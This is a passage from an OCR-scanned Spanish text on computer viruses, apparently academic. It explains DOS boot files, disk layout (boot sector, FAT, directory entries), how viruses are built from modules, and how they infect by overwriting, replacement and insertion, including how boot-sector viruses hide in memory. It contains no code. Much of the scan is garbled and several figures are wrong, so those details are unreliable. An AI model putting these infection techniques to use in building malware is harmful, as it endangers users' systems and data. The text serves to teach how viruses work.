programa de arranque del disco verifica que estén los archivos basicos del DOS
los cuales son dos archivos ocultos llamados IBMBIO.COM e IBMDOS.COM. Si los
encuentra, los carga en memoria junto con el intérprete de comandos del DOS:
COMMAND.COM.

El archivo IBMBIO.COM contiene extensiones del ROM BIOS. Estas
extensiones pueden ser cambiadas o adicionadas a las operaciones bésicas de
entrada/salida y contener correcciones a la ROM BIOS existente. ntisvas rutinas



para nuevos equipos, o mejorar, medificando rutinas estidndares del ROM BIOS.
Debido a que es parte de! software del disco, las rutinas del IBMBIO.GOM dan un
medio conveniente de modificar al ROM BIOS. Tedo esto es necesario, porque las
nuevas rutinas, cambian los vectores de interrupcidn anteriores de las rutinas del
ROM BIOS para establecer las nuevas localidades del BIOS cuando éste es
cambiado. Siempre que un nuevo dispositivo es adicionado al computador, los
progreamas de soporte pusden ser incluidos en el archivo IBMBIO.COM o instalar
programas controladores o de configuracién de los mismos, eliminando la
necesidad de remplazar los circuitos ROM.

Se puede pensar en las rutinas del ROM BIOS como el sistema elemental
para habilitar el sofiware, efectuando las mas fundamentales y primordiales
operacionas de entrada/salida. Las rutinas del IBMBIO.COM, al ser una extsnsidn
del ROM BIOS, son iguaimente asenciales para el funcionamiento bésico.

El archivo IBMDOS.COM contiene las rutinas de servicios del DOS. Los
servicios del DOS, al igual que los servicios del BIOS, puedsn ser llamados por
programas a través de algunas interrupciones cuyos vectores estan localizados en
la tabla de vectores de interrupcion en la parte baja de la memoria. Una de las
interrupciones del DOS, la interrupcién 21h (decimal 33), es particularments
importante, ya que cuando es llamada, se tiens acceso a un gran nimero de
funciones bésicas del DOS. Las funciones del DOS proveen un mejor control,
sofisticado y eficiente de entrada/salida que las rutinas del BIOS, especialmente
con operaclones de manipulacién de archivos en los discos. Todo proceso
estandar de los discos - formateo del disco; lectura y escritura de datos; abrir,
cerrar, y borrar archivos; blsqueda a través de directorios - son incluidas en las
funciones del DOS, y constituyen parte fundamenta! de programas DOS de alto
nivel, talas como FORMAT, COPY, y DIR.

El archivo COMMAND.COM es el tercero y méas importante del DOS. Este
archivo contiene las rutinas que intarpretan los comandos que se introducen a
través del teclado cuando se estd en sl modo de comando del DOS (cuando
aparece el prompt del sistema seguido del cursor). Por comparacién del comando
introducido con una tabla de nombre de comandos, el COMMAND.COM puede
diferenciar entre un comando interno que forme parte del archivo
COMMAND.COM, tal como RENAME o COPY, y un comando externo, tal como
los programas de utilidades del DOS (como DEBUG). El intérprete de comandos



actiia sjecutando las rutinas requeridas por los comandos Intemos ‘0 buscando
los programas requeridos en disco cargéndolos en memorla :

2.2 Estructura de los discos.

Los sistemas de computacién deben tener medios para almacenar
informacién parmanentemente. LJsualmente se emplea impresién en papel, discos
magnéticos, cintas magnéticas, discos Gpticos. Pero e! medio mas comin en la
famitia de las PC es el disco flexible (diskettes) y el disco duro (hard disk). Ambos
se presentan en varios tamafos y capacidades pero su funcionamiento es
basicamente el mismo: la informacidn es codificada magnéticamente y grabada en
la cara de los discos y mediante software s& controla al disco.

Cuando aparecid la familia PC en 1981, ésta usaba un sdlo tipo de disco:
medida de 5 1/4 pulgadas con doble densidad, un sélo lado y solamente 160
Kilobytes (KB) de capacidad. Actualmente existen discos de alta capacidad de §
1/4 y 3 1/2 pulgadas,de 1.2 y 1.4 Mb respectivaments, que son los estandares
para los equipos PCs AT y PS2s, aunque se encuentran también los discos
opticos de 120 Mb.

2.2,1 Mapa de los discos.

Para comprender como estd organizada la informacién en los discos,
considere [a estructura fisica de los discos y los mecanismos para laer y escriblr
en ellos.

Internamenta, un disco es una platina circular fabricada con materiales que
facilitan la codificacién magnética para representar datos digitales. E) disco ests
protegido por una cublerta de plastico con orificios estratégicos para su uso.

Las unidades de disco contienen un motor que rota el disco a una
velocidad constante. El controlador contiene dos cabezas de lectura/escritura, una
por cada lado de! disco. Cada cabeza cantiene una bobina que transmite
impulsos eléctricos a la suparficie del disco, estos impulsos eléctricos inducen un
campo magnético que alinea las parifculas magnetizadas en la superficie del
disco. Este alineamiento determina el valor de un bit, el cual s6lo pueds tener dos
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valores: O si las particulas estan alineadas en el mismo sentido o 1 si las particulas
se alinean en sentido contrario, como se muestra en la figura 2-2.

1 1 0 0
L : ! : 1 :
4————& —]
- | e | D - — | < ] —
- | P | — < — | <
G | o | i — —tpr | -

FIGURA 2-2. ESCRITURA/LECTURA DE UN DISCO MAGNETICO




La manera en que es mapeada la informacion en los discos flexibles y en
los discos duros es resultado natural de fa geometrfa del hardware. Cuando la
posicién de la cabeza de lectura/escritura efectia un recorrido por toda una
circunferencia hasta regresar a su posicién inicial se dice que ha recorrido una
pista (track), vea la figura 2-3.

PISTA O

PISTA 1

FIGUAA 2.3. PISTAS DE UN DISCO MAGNETICO

Debido a que una pista dal disco pusde contener 4 KB o més datos, estas
pistas se dividen en unidades llamadas sectores, como se muestra en la figura 2-
4. Todos los sectores tienen la misma capacidad de almacenar datos - tipicamenta
512 bytes tanto para discos flexibles como para discos duros. Los sectores y
pistas son numerados secuencialmente, por lo que para localizar un dato en
particular sélo tiens que especificar el nimero da pista y el nimero de sactor.

Debido a qus los discos flexibles tienen dos caras y los discos duros méas
de dos, sismpre, se necesitan tres dimensiones (tres pardmetros) para localizar
datos. Por lo tanto, la posicién de fa cabeza de lsctura/escritura es descrita por un
ndmero de cilindro. Como las pistas, los clindros son numerados
sacuencialmente. Si se piensa en un cilindro como un puntero de pistas para dar
la posicién de la cabeza de lectura/escritura, se podra observar qus la locacion de
una pista en particular es determinada al especificar un nimero de cilindro mas el
nimero de cabeza de lectura/escritura.
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RoQT
DIRECTORY

FAT1

FIGURA 2-4. SECTORES DE UN DISCO MAGNETICO

Si se tiene esto en mente, es facil censar varios formatos de disco usados
en las PCy PS2 (vea la tabla 2-1).

TIPO DE DISCO CAPACIDAD CILINDROS SECTORES POR PISTA LADOS
5 1/4 - PULGADAS 160 Kb “« 8 1
180 Kb 40 8 1
30 Kb 40 a 2
360 Kb 40 ¢ 2
1.2 Mb 80 13 2
31/2 - PULGADAS 720Kb 80 ° 2
144 Mb L] 18 2

TABLA 2.1, FORMATOS DE DISCOS FLEXIBLES EMPLEADCS ENLA PC Y PS/2,



2.2.2. Disco Bootabls.

Un disco bootable es el qua contisne !a informacién nacesaria para cargar y
sjecutar el sistema operativo al tiempo que arranca el computadar. Todo disco
puede ser bootable, para 8sto no es necesario qua tenga un formate especial,
solamente necesita contener la informacién necasaria para que ¢ ROM BIOS
arranque e! sistema operativo.

£l primer sactor de! disco - cilindro 0, cabeza 0, sector 1 - 85 reservado para
un pequefo programa de arranque (el programa debe ser corfo debido a que el
tamano de un sector es sélo de 512 bytes). La funcién de este pequefo programa
de arranque es el de cargar en memoria al sistema operativo y transferirle el
control a él.

Cuando se arranca el computador las rutinas del ROM BIOS leen sen
memoria el contenido del sector de carga (boot sector) del disco, chacando si
contiene el programa de arranque. El BIOS examina los dos Ultimos bits de este
sector buscando que tengan la asignacién 55h y AAh que indica que el disco es
bootable. Si no encuentra esta asignacién, sl BIOS asume que el disco no es
bootable,

2.2.3. Estructura 16gica de los discos.

Todos los discos mansjados por DOS tienen un formato légico del mismo
tipo: el tamafio del disco, pistas, y sectores son identificados numéricamante con
la misma notacion.

El DOS no reconocs cilindros, lados y sectores. El DOS ve un disco como
una secuencia de sectores 16gicos. La secuencia de sectores l6gicos comienza
con el primer sector de! disco: sector 1, cilindro 0, cabeza 0 (el boot sector), que
es para &l DOS el sactor 0.

Los sectores légicos son numerados de pista en pista en el mismo cilindro,
y se enumeran de cilindro en cilindro. Después del Gitimo sector en e! cilindro 0,
cabeza 0, es seguldo por el primer sector en el cilindro 0, cabeza 1; el Gitimo
sector en un cllindro es seguido por el primer sector en el cilindro siguiente.

49



El uso de la numeracién de sectores l6gicos por el DOS lo limita en cuanto
al espacio en disco al cual puede acceder. Esto es debido a que el DOS mantlene
nimeros enteros de 16 bits para numerar los sectores l6gicos, por lo que no
puede acceder a mas de 65,558 sectores Kgicos en un disco, debido a que sl
tamano estdndar de un sactor a5 de 512 bytes. Por esto la memoria maxima que
puede manejar es 65,536 x 512 0 32 MB. Esto no es ningdn problema para los
discos flexibles, perc es una gran limitacién para algunas PC/AT y PS2 que tangan
discos mayores de 32 MB.

Para evitar esta restriccién, la versién DOS 3.3 introduce la nocion de
particion extendida de DOS. Con ef DOS 3.3 se proves el programa de utilerfa
FDISK para hacer una particién de un disco muy grande, con lo que se puede
separar un disco en dos o més discos lbgicos.

2.2.4. Como ¢l DOS organiza los discos.

Cuando el DOS formatea un disco, éste limpia y verifica cada sector. Todo
disco, ya sea flexible o duro, es particionado en un mapa de cuatro &reas
separadas. Estas areas, en orden en que son inicializadas, son: drea reservada
{boot sector o sector cero), la tabla de locacién de archivos FAT (File Allocation
Table), el directorio ralz (root directory), y el drea de archivos. Estas dreas se
esquematizan en la figura 2-5. El tamaro de estas éreas varfa de acuerdo a los
formatos, pero la estructura y el orden de éstas no cambia. Estas &reas se
explican con mayor detalle a continuacion.

EL r.de carga (boot sector),

El boot sector es la primera érea del disco. Consiste primordiaimente de un
corto programa en lenguaje de méquina que comienza los procesos para
cargar al DOS en la memoria. Como ya se ha mencionado, el ROM B!OS
checa si el disco es bootable y en caso de serlo efectlia los procesos
partinentes.

La primera instruccién de este programa es un salto, JMP (jump), el cual
transfiere ef control al resto de! programa, en el mismo sector.



Sector 16gice O Sector de Carga

Table de [acacién de aichivos (FAT)

Directorlo Raiz (Root directory)

Area de sichivos
(archivos y aubdirectorios)

FIGURA 2-5. Mups de las dreas de los discos manefades por o) DOS

Para todo disco formateado (excepto los discos formateados con ocho
sectores por track), se encontrardn algunos pardmetros en el boot sector,
comenzando en el onceavo bit (vea la figura 2-6b). Estos pardmetros son
parte del bloque de pardmetros del BIOS usado por el DOS para controlar
cualquier tipo de disco,

EI DI b [s}]
Ei diractorio rafz, tanto en los discos flexibles como en los discos duros, es
creado por el programa FORMAT del DOS. El tamafic del directorio ralz es
determinado por FORMAT, por lo que 8! nimero de entradas es limitado.
El directorio rafz contiene una serie de entradas de 32 bits. Estas entradas
contiensen sl nombre de un archive, un subdirectorio, o una etiqueta de disco
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(label). Las entradas del directorio contienen informacién bésica sobre 6l
tamaiio de los archivos, su localizacién en el disco, y la hora y fecha en que
fueron modificados por Ultima vez. Esta informacion bésica es contenida en
ocho campos listados en ta figura 2-6¢C.

DESPLAZAMIENTO
ooH
ot 59X XX O EB XX 90
FIGURA 2-6b. BOOT SECTOR o6H {DENTIFICADCA DE SOY VERSION
: poOR
ocH BYTES POR SECTORES
- SECTORES POR CLUSTER
10H SECTORES RESERVADOS
H NUMERQ DE FATS
\an _| NUMERO DE REQISTROS DE DIRECTORIO
SECTORO - - - 15H TOTAL DE SECTOHES LOGICOS
 TABLA DE {DENTIFICADORES
DE PARAMETROS DEL IISCO Y 164 IDENTIFICADOR DE FAT (TIPOY
. PROGRAMAS DE CARGA
POTTEAY, o NUMERO DE SECTORES POR FAT
SECTORY 1A, SECTOHES POR PISTA
PRIMERA COPIA DE LA FAT NNETO Or LADoS
SECTOR 3 1CH
SEGUNDA COPIA DE LA FAT 1EH NUMERO DE SECTORES OCULTOS
SECTORS 04 PROGRAMA DE CARGA (BOOTSTRAP)
- DIRECTORIO AAIZ
SECTOR 12 OESPLAZAMIENTO
AREA DE DATOS
SECTOR 719
o0oaH NOMBRE DEL ARCHIVO
cooett EXTENSION
FIGURA 2.6a. MAPA DE AREAS POR SECTORES p—————
000CH
ooteH RESERVADO
HORA DE CREACICN O
ULTIMA MOOIFICACION
0018H
FECHA DF CREACION O
0Q1AH ULTIMA MODIFICACION
w01CH CLUSTER DE COMIENZO
TAMAROQ DEL ARCHIVO
FIGURA 2:6¢. ROGT DIRECTORY ' 020




Desplazamiento 00h: El nombre de archivo.

Los primeros 8 bits de una entrada contiene el nombre de archivo, en
formato ASCII. Si el nombre de archivo es menor de 8 bits, éste se rellenaré a
la derecha con blancos {CHR${32)). Las letras deben ser mayUsculas y no
dabe contener blancos incertados, por sjemplo AA BB.

Dos cédigos se emplean para indicar situacionss especiales, los cuales
aparecen en e primer byte del campo. Cuando un archivo es borrado, DOS
escribe en el primer byte del campo el cédigo E5h, para indicar que esa
entrada puede ser empleada por otra. En las versionss DOS 20 y
posteriores st el primer byte de una entrada tiene el cédigo 00h éste le indica
que llegd al final de la lista de entradas en el directorio.

Desplazamiento 08h: La extensién dal archive.

Directamente después de! nombre del archivo se encuentra la extensién del
mismo, también en formato ASCII. Tiens una longitud de tres bytes, y al igual
que el nombre del archivo, es rellenado por blancos a la derecha si se
ocupan menos de ires caracteres.

Cuando se trata de una etiqueta de disco (label), los campos de nombre y
extensién son tratados como un sélo campo combinado de 11 bytes, En este
caso, insertar blancos esta permitido.

Desplazamiento 0Bh: El atributo del archivo.

Tiene la extension de 1 byte, el cual esta codificado por un bit
individualmente, del primero al séptimo. Este byte categoriza el tipo de
entrada.

El bit 0, marca si ef archivo ha sido marcado como sélo de lectura. En ests
estado, el archivo esta protegido contra modificationes o borrado del
mismo por cualquier operacidn del DOS.

El bit 1 marca si e archivo es oculto y el bit 2 declara st el archivo es de
sistema, Archivos marcados como ocultos o de sistema no pueden ser
vistos por operacionss ordinarias del DOS, tal como el comando DIR.

El bit 3 marca que fa entrada en el directorio es una etiqueta del disco.

El bit 4, es el atributo de subdirectorio, éste identifica que la entrada es un
subdirectorio. Dabido a que los subdirectorios son inicializados como un
archivo ordinario, ellos necesitan un soporte de entradas de directorio. Ei



cluster de comienzo de esta entrada sefiala el sector en el cual se tiene
‘una estructura igual al directorio ralz, la cual tiene las mismas
caracterfsticas aquf explicadas.

El bit 5 es el atributo de archivo, el cual siempre esta a 1 cuando el archivo
es creado o modificado.

Desplazamlento 0Ch: Reservado.
Esta 4rea de 10 bits se reserva para algin uso futuro, todavia no
implementado.

Desplazamiento 16h: Tlempo.

Este campo contiene dos bytes que marcan el tiempo (la hora) en que fueron
creados 0 en que se realizd la Gltima modificacién. Este dato, en s/ mismo,
est4 codificado y se basa en un reloj de 24 horas. Para decodificar esta
informacién en horas, minutos y segundos se emplea la siguiente férmula:

Tiempo=(horas x 2048)+ {minutos x 32)+(segundos / 2)
El tiempo 11:32:10 esta codificado como 5C05h (decimal 23557).
Desplazamiento 18h: La Fecha.
Este campo contiene 2 bytes en cuyo valor se marca la fecha en que el
archivo fue creado o fus modificado por Gitima vez. La fecha, es tratado
como un nimero entero tipo palabra (word-2bytes), que para codificarse en
ano, mes y dia emplea la siguiente férmula:

facha=({afo - 1880} x 512) + {mes x 32) + dia

Usando esta férmula, la fecha Diciembre 12, 1988 se codifica como 118Ch
(decimal 4492);

(1988 - 1980) x 512 + 12x 32 + 12= 4492



El afio méximo que puedse calcular el DOS es 2099.

Desplazamiento 1Ah: El cluster de comienzo

El séptimo campo de un registro en el directerio son 2 bytes que marcan el
nomero de cluster en donde comienza el archivo en el drea de datos del
disco. Este nimero de cluster es el punto de entrada para localizar una
cadena en la FAT, la cual sefala todos los cluster que constituyen el archivo
y el orden en la secuencia de los mismos.

Desplazamiento 1Ch: El tamadio del archivo

El Gitimo campo de un registro del directorio es el tamario del archivo. Este
os codificade como un ndmero entero de 4 bytes sin signo, el cual puede
especificar un tamano de archivo muy grande - 4,284,967,295 bytes, para ser
exacto, demasiado grande para cualquier proposito practico.

El DOS emplea este valor para determinar el tamafo exacto del archivo.
Debido a que un archivo es alojado en cluster de 512 bytes o méssl espacio
actual ocupado por un archivo es usualmente mayor que el valor registrado
en el directorio. En el disco, el espacio entre el final del archivo y el final del
uliimo cluster del archivo es desperdiciado.

Todo dato de un archivo o subdirectorio esta contenido en el &rea de
archivos, la cual ocupa la ultima y mayor area del disco.

El DOS le asigna aspacio a un archivo, un cluster a la vez, segin sus
necesidades de espacio (recuerde que un cluster es uno o mas sectores
consecutivos; el nimero de sectores por clustar es establecido al formatear
al disco - vea el apéndice A). Cuando un archivo es creado, o uno existente
es extendido, la locacién del espacio crece. Cuando se necesita mayor
espacio, el DOS asigna y locaciona otro cluster al archivo,

En condiciones idealss, un archivo es ubicado en un bloque continuo de
espacio. Usualmente, un archivo tiene que separarse en bloques no
continuos, especialmente cuando la informacién es adicionada a un archivo
existante o cuando un archivo es creado en el espacio de un archivo
praviamente borrado.

Esta fragmentacion de los archivos ocasiona jentitud en el acceso a los datos
del archivo. Pero la fragmentacion no tiene otros efaectos, y generalmente los
programas no necesitan estar concentrados en un solo bloqus de memoria.
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En la mayarfa de los casos, esta fragmentacién no tiene un mayor impacto
en la velocidad de los programas,

Esta fragmentacién también puede ser observada en la FAT de los discos, la
cual conserva el orden de la secusncia da cluster de un archivo.

L.a Tabla de Locacidn de Archivos: FAT
La tabla de locacién de archivos (FAT - File Allocation Table), es utilizado por
el DOS como un mapa de como es utilizado el espacio en el érea de archivos
del disco.
Para muchos tipos de formatos de disco, el DOS mantiene dos copias de la
FAT, para prevenir el caso de que una de ellas se borre o tenga errores.
Curiosamente el programa CHKDSK del sistema operativo no da informacién
en caso de que las dos FATs sean diferentes.
La organizacion de la FAT es simple: Tiene un registro en ia FAT por cada
cluster en el area de archivos. Un registro en la FAT puede tener uno de los
valores listados en la tabla 2-3. Si el valor de Ia entrada no es marcado como
no-usado, reservado o defactuoso, el cluster correspondients en la FAT es
parte de un archivo, y el valor de esta entrada en la FAT Indica el nimero del
siguiente cluster en el archivo.

FAT DE 12 BITS FAT DE 16 BITS DESCRIPCION

[} Q Cluster sin uso

Fio-FFeh FFFO-FFFéh Clutter reservado

FETh FFETh Clustar malo (dafada)

FF8-FFFh FFF8-FFFFh UNime cluster de un archivo (marea
de fin de archivo)

(CTRO VALOM) Siguiente cluster de un srchivo

TABLA 2-3. DESCRIPCION DE LOS VALORES POSIBLES EN LA FAT DE UN DISCO FLEXIBLE,

Este método por sl qus se la asigna espacio a un archivo establece un
mapa de cadenas de registros en la FAT, en donde cada entrada establece el
punto del siguiente registro en la cadena (vea la figura 2-7). El primer nimero de



cluster en la cadena &s el establecido en el séptimo campo en el directorio rafz
(root directory):cluster de comienzo. Cuando un archivo es creado o extendido, el
DOS asigna un nuevo cluster al archivo buscando en la FAT un cluster marcado
como no_usado (esto es, un cluster que esté marcado en {a FAT coma 0), una vez
encontrado lo adiciona a la cadena. Cuando un archivo es borrado, el DOS libsra
los cluster que tenla asignados limplando las correspondientes entradas en la FAT
{marcéndolas con 0).

Nombre de Cluster dane
Archivo Extenslon Comlanza
Diacton [ _tovome | o | [ oo | I
|
Meroa de fin
de srchiva
r
FAT oo | ooos | oooo | oooo | oo [ oono [reren] oo

2 3 4 5 L] 7 a ]

FIGUAA 2-7. LOCALIZACION Y SEGUIMIENTO DE ARCHIVOS FOR LA FAT

La FAT puede tener un formato de 12 bits o 16 bits por entrada. El formato
de 12 bits es usado por discos flexibles y duros que no tengan mas de 4078
clusters.

Los primeres dos bytes en la FAT son reservados para uso del DQOS, y
contienen la descripcién de la medida de fa FAT, la cual aparace en el bloque de
parémetros del BIOS en el boot sector (sector 0) del disco. Los bytes sobrantes
de las primeras dos entradas son completados con el valor OFFh, esto es por que
los primeros dos clusters (0y 1) son reservados, el cluster nimero 2 corresponde
al primer cluster del 4rea de archivos en e! disco.

Leer los valores de una FAT de 16 bits es fcil, s6lo hay que muttiplicar el
numero de cluster por 2 para encontrar la direccidn de la correspondiente entrada
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on la FAT. Para un FAT de 12 bits, lo anterior se encuentra multipliicando el cluster
por 3y dividiéndolo entre 2.

2.3 Estructura de los virus.

Comao se manciona anteriormente, los virus infométicos son programas. La
estructura de estog programas es muy variada, dependiendo de la flosoffa que
emplea su creador, pero 8s posible delimitarla, de acuerdo a su comportamiento,
en modulos con funciones muy especificas, La estructura moedular de los virus
informéticos se muestra en fa figura 2-8.

INSTALACION DARO REPRODUCCION PRINCIPAL

FKAURA 2.8. ESTRUCTURA MODULAR DE LOS VIRUS INFORMATICOS

Un virus no necesariameante tiene esta estructura, ni siquiera necesita estar
desarrollado en médulos, pero tal estructura es la més representativa del
funclonamisnto de un virus, ademas de ser la mejor estructurada.

Cada uno de los mddulos son subrutinas que tienen finalidad especifica, por lo
que pueden manejarse como un programa independients. La explicacién de cada
uno de los médulos se presenta a continuacién.

2.3.1 Médulo de Instalacién.

Este mddulo tiena por funcién "activar* al programa, es decir, establecer las
condiciones indispensables para que el virus opere, instalandose en la memoria y
obteniéndo el contro! del procesador.

Atendiendo a la forma ds instalacién se pusden encontrar dos grupos de
virus: virus termporales y residsntes (ver seccién 1‘.5). Los virus temporales s8



instalan en la memoria al ejecutarse un programa infectado, y se cargan en la
memoria de manera normal, como cualquier otro programa, y por lo mismo, al
terminar la ejecucién det programa infectado, ambos son descargados de la
memoria.

Los virus residentss por el contrario, efectian una labor mas compleja de
instalacion, ya que no solamente deben copiar el cédigo virus a la memoria RAM,
sino que ademas necesitan proteger esta copla para evitar que el sistema
operativo la borre o sobreescriba en ella. La forma en que efectUan esto es,
generaimente en funcién de en donde copian su cédigo:

En e! boot sactor de los discos.Para estos virus la instalacién se basa en el
hecho de que sus procesos se efectdan antes de ser cargado el sistema
operativo, por ello, solamente necesitan copiar su cédigo en la parte alta de
la memoria RAM y proteger esta parte de la memoria para que no sea
utilizada, Esta proteccién es facil de realizar debido a que en la direccién
0040:0013h, perteneciente al 4rea de datos de la ROM (vease seccién 2.1.1.),
existe la informacién relativa al tamasio de la memoria disponible en Kb, dato
eh el cual se basa el sistema operativo para instalar en memoria una porcion
residente en la parte baja y otra en la parta alta. Asf ¢l virus solamente
necesita leer este parametro y restarle su longitud, y cuando el sistema
operativo se carga en memoria, establece una porcidn residente en la parte
alta de la memoria sin tocar al programa virus cargado anteriormente. Asl, se
asegura que durante la operacion del computador, en ningin momento se
borrara o alteraré el cédigo virus instalado.

En los programas ejecttables.En estos casos, debe considerarse que el
sisterna operativo ya ha sido instalado y éste tiene ek conocimiento y control
exacto de la memoria libre disponible, pero ademas, ya se instalaron los
sarvicios de interrupciones del DOS, y pusden utilizarse las interrupciones
20h y 27h las cuales terminan la ejecucién de un programa, pero no borran a
éste de la memoria, dejandolo residente en memoria (TSR - Terminate and
Stay Resident). Los programas y datos que se establecen como residentes
son mangjados como una extensién del DOS y no pueden ser borrados o
sobreescritos por otros programas,
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Un virus informético puede emplear estos servicios espacificando una
porcién de su programa para que permanezca active en la memoria,

2.3.2 Médulo de Dafio.

Un virus informatico tiene una gran potencialidad de efectuar daffo a los
sistemas que infecta debido a las vulnerabilidades existente en los equipos PC.
De acuerdo al dafo que efectitan puede diferenciarse a distintos grupos de virus:

Dano fisico. La gran mayorfa de los virus efectian dafos al software de los
equipos, pero un 2% de ellos tienen funciones que afectan al hardware,
principalmente a las unidades lactoras de los discos flexibles, ya que las
hacen trabajar de manera excesiva.

Pérdida de Informacién. Borran los archivos de los usuarios y algunos
efactian hasta un formateo de los discos duros de los sistemas.

Modificacién de la Informacién. En este caso , estdn destinados a afectar
sistemas de tipo financiero, en los que no borran los archivos, pero si
modifican la informacién conteniente en ellos. Otros modifican pardmetros de
sistama, lo que ocasiona errores que a "simple vista" parece que tienen
origen en la instalacién de los sistemas.

Espaclo y Recursos. Los virus llamados "bsnignos” no efectian dafio latente,
de hecho la mayorfa de los investigadores no los clasifica como dainos,
pero sin embargo, ocupan un espacio fisico y recursos del procesador sin
aportar ningun beneficio.



2.3.3 Mddulo de reproduccién,

Este madulo 8s el encargado de efectuar las labores de diseminacién o
contagio a otros programas y sistemas.

£l contagio informatico esta basicamente en 8! sector 0 de lus discas y en
lgs archivos ejecutables, aunque también se da, en menor grado, en los archivos
con extensién .OVL y .BAT. El resultado de! proceso de este médulo es una copia
exacta del programa virus, pero el desarrolio de esta reproduccion varfa de
acuerdo a la técnica utilizada:

Sobreescritura. En este caso el cddigo virus remplaza a un cédigo
preexistente, es decir, sustituye las instriucciones del programa en proceso
de infeccion, por sus instrucciones,

Insarcidn. En sl cual el virus se afada al cédigo anfitrion al principic o al finaf
del mismo. E! cédigo del programa anfitrién no se modifica m3s que de
ubicacién, pero la ejecucién del mismo no tendra modificacién.

2.3.4 Programa Principal.

Es el que se encarga de controlar y coordinar la ejecucién de los demas
mddulos.

Generalmente esta parte del programa funciona al activarse el virus,
mandande Ja ejecucién del médulo de instalacién, y dependiendo de ésta
instalacién, posteriormente verifica tas condiciones de disparo para el médulo de
dano, asi como para el de repreduccion, En sl este mdduio funciona como
administrador, validando la ejecucién de cada uno de los mbdulos conforme al
cumplimiento o no de condiciones predeterminadas.

Usualmente en él se encuentra ademas la funcién de producir un mensaje,
que es la manifestacién abierta del virus, es decir, como una especie de "firma" a
manera de "el virus estuvo aqui’.Este mensaje es de tipo visual y se despliega en
la pantalla del monitor y aunque algunos solamente presentan un breve texto tal
como: "Ho Ho Ho" (jo-jo-jo), olros desarroflan presentaciones muy vistosas, por
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ejemplo el virus de Turln o de! ping-pong el cual muestra un continue movimianto
de una "pelotita" que se va rebotando contra los contornos del monitor y las letras
de la pantalla, 0 como en algunos virus contenidos en juegos de video, los cuales
presentan funciones gréficas muy elaboradas.

2.4 Modos de ataque.

Aunqus hay sin duda un gran nimero de variaciones, los virus conocidos
pueden categorizarse en términos de dos de sus propiedades fundamentales:
"¢ Cémo infectan otros programas?" y "¢En dénde viven?".

2.4.1. Mecanismos de ataque

En términos de infectar a otros programas, l0s virus conocidos pueden ser
agrupados denvo de tres clases generales: de reernplazo, sobre
ascriturafoverwriting) e insarcidn.

Virug de sobreescritura.
Estos virus simplemente sobre escriben los primeros n bytes de un archivo
ejecutable con las instrucciones del virus y son de esta manera, relativamente
faciles de crear. Considere que un programa s portador de un virus {un
Caballo de Troya, por ejemplo) el cual se introduce en un sistema de
cémputo en donde estan dos programas del usuario "sanos", es decir, no
infactados. El estado inicial s& muestra en la figura 2-9.
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[ PRcORAMA DE usUARID 1 l FIOURA 2:9
ESTADO INICIAL DEL SISTEMA

[ Proarama DE usUARIO 2 ]

El programa infectado es ejecutado. La parte que constituye al virus es
ejecutada primero e intenta infectar a los demas programas. Asumamos que
infecta exitosamente al archivo de usuario 1. El resto del programa infectado
es ejecutada posteriormente. El estado del sisterna serd entonces como se
muestra en ia figura 2-10.

F/mus_] PROGRAMA PORTADOR J

VIRUS —[ PROGRAMA DE USUARIO 1 ] FIGURA 210,

ESTADO DEL SISTEMA
DESPUES DE LA PRIMERA
[ ProGRAMA DE UsuARID 2 ] INFEGGION

Nétase que fa primera parte del programa de usuario 1 ha sido remplazada
por el cédigo del virus. Asumamaos ahora que el brograma usuario 1 es
ejecutado. Este ejecutard las instrucciones del virus que infectan al programa
de usuario 2 y después se "rompe” 0 s comporta de alguna manera extrafa.
El estado del sistema sera es como el mostrado en ia figura 2-11.
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FIGURA 2.11,
ESTADO DEL SISTEMA
DESPUES DE LA SEGUNDA
INFECCION

[wrus ] proarama oEsuamiod]

FIRUS I PROGRAMA DE USUARIO 2 I

Nétase que ahora ambos programas de usuario 1y 2, probablamente, serin
incapaces de ejecutar sus funciones originales, pero atn son aptos de hacer
alglin dafio. Notese también que el programa portador aun contiene al virus
y que, consecuentemente, intentard infectar mas programas cada vez que
sea ejecutado. Ademds el programa portador parece estar ejscutando su
funcidn seialada. Si el usuario sospecha de |a existencia de! virus, (No serfa
més probable presumir que esta en el programa de usuarici?. Después de
todo, este programa se comportd de manera extraia (provocade por la
sustitueién de sus instrucciones originalas por las instruciones del virus). Este
ataque en particular puede ser atin més desconcertante, haciendo que el
programa portador infecte otros programas despuéds de alguna fecha
determinada o en respuesta a alguna aparente condicién casual (tal come
cuando fa hora del sistema dividida entre 27 el residuo sea igual a 0)

Virus de rampiazo.

El segundo grupo en importancia son los virus de remplazo. Estos virus
operan remplazando algin programa con un equivalente funcional del
mismo, el cual contiene al virus. El programa remplazado no necesita tener
més longitud, aunque estén incluidas las funciones del virus, Por sjemplo, un
programa originamente escrito en algin ienguaje de alto nivel, puede
también ser escrito en lenguaje ensamblador. El cédigo destinado para la
varsién en lenguaje ensamblador es mucho mas pequeia y asf se tiens
espacio para alojar al virus, !a figura 2-12 ilustra este tipo da ataque.



| FRAOGRAMA ORIGINAL I

I VIRUS l VERSION COMPRIMIDA DEL PROGRAMA ]

FIGURA 242
ATAQUE DE UN VIRUS DE REMPLAZO

Una de las caracteristicas mAs particulares de este tipo de ataque es el de
transformar un programa praviamenta “"confiable” en un Cabalio de Troya, y
asl, afadir una interesante complicacién a fo explicado en la seccién 2.3.1.
Aungue el nimero de programas que pueden ser atacados por este tipo de
virus es fimitado y aunque este tipo de virus es el blanco dg muchos
programas antivirus, la deteccién de este tipo de infeccién susie ser muy
diffcit.

Virus de Ingercién,

€l dttimo grupo de virus en este esquema de clasificacién son fos de
insercién. Son tal vez los mas paligrosos porque pueden infectar un amplio
rango de programas mientras no destruyan la funcionalidad del programa
anfitrién. Opera afiadiendo un codigo al programa anfitrién, incrementando la
tongitud del archivo o aprovechando el espacio desperdiciado dentro del
anfitrién. Se identifican dos esquemas.

En e} primer esquema, el virus primero incrementa la medida del archivo que
va a Infectar. Después mueve el cédigo original "hacia atras", dejando
espacio al principio def archivo en donde se inserta et cédigo del virus, £ste
esquema se ilustra en 1a figura 2-13.
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PROGRAMA ORIGINAL

EXPANSION
cEuPRoRAMA | PROGRAMAORGNAL | ]
MUEVE AL

PROGRAMA ORIGINAL PROGRAMA ORIGINAL I

INSERTAELVIRUS | VIRUS | PROGRAMA GRIGINAL |

FIQURA 2.13. ESQUEMA DE ATAQUE DE UN VIRUS DE INSERCION

En el segundo esquema, el virus guarda en memoria el conjunto de
Instrucciones que son el comisnze del archivo que va a infectar y lo sustituye
por una instruccién de salto (jump - JMP) y en algunas ocasiones también un
indicador de virus (el cual le sirve posteriormente, para reconocer que ese
